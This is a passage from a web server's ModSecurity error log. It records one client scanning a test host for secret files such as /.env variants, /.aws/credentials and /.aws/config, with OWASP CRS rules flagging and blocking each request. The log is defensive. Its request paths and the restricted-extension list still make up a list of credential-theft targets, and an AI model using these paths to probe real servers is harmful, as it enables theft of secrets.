&quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kgAAAAI&quot;]
[Wed Jul 23 13:39:13.975074 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kgAAAAI&quot;]
[Wed Jul 23 13:39:13.975247 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kgAAAAI&quot;]
[Wed Jul 23 13:39:16.025027 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lAAAAAI&quot;]
[Wed Jul 23 13:39:16.025270 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lAAAAAI&quot;]
[Wed Jul 23 13:39:16.025449 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lAAAAAI&quot;]
[Wed Jul 23 13:39:16.045670 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lQAAAAI&quot;]
[Wed Jul 23 13:39:16.045831 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lQAAAAI&quot;]
[Wed Jul 23 13:39:16.046053 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lQAAAAI&quot;]
[Wed Jul 23 13:39:16.046223 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lQAAAAI&quot;]
[Wed Jul 23 13:39:16.089060 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lwAAAAI&quot;]
[Wed Jul 23 13:39:16.089334 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lwAAAAI&quot;]
[Wed Jul 23 13:39:16.089506 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7lwAAAAI&quot;]
[Wed Jul 23 13:39:16.132039 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mQAAAAI&quot;]
[Wed Jul 23 13:39:16.132264 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mQAAAAI&quot;]
[Wed Jul 23 13:39:16.132418 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mQAAAAI&quot;]
[Wed Jul 23 13:39:16.175636 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mwAAAAI&quot;]
[Wed Jul 23 13:39:16.175874 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mwAAAAI&quot;]
[Wed Jul 23 13:39:16.176029 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7mwAAAAI&quot;]
[Wed Jul 23 13:39:16.196060 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7nAAAAAI&quot;]
[Wed Jul 23 13:39:16.196269 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7nAAAAAI&quot;]
[Wed Jul 23 13:39:16.196428 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7nAAAAAI&quot;]
[Wed Jul 23 13:39:16.243817 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravael/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7ngAAAAI&quot;]
[Wed Jul 23 13:39:16.244021 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7ngAAAAI&quot;]
[Wed Jul 23 13:39:16.244189 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7ngAAAAI&quot;]
[Wed Jul 23 13:39:16.286972 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oAAAAAI&quot;]
[Wed Jul 23 13:39:16.287194 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oAAAAAI&quot;]
[Wed Jul 23 13:39:16.287356 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oAAAAAI&quot;]
[Wed Jul 23 13:39:16.307406 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oQAAAAI&quot;]
[Wed Jul 23 13:39:16.307620 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oQAAAAI&quot;]
[Wed Jul 23 13:39:16.307787 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7oQAAAAI&quot;]
[Wed Jul 23 13:39:16.374582 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7owAAAAI&quot;]
[Wed Jul 23 13:39:16.374820 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7owAAAAI&quot;]
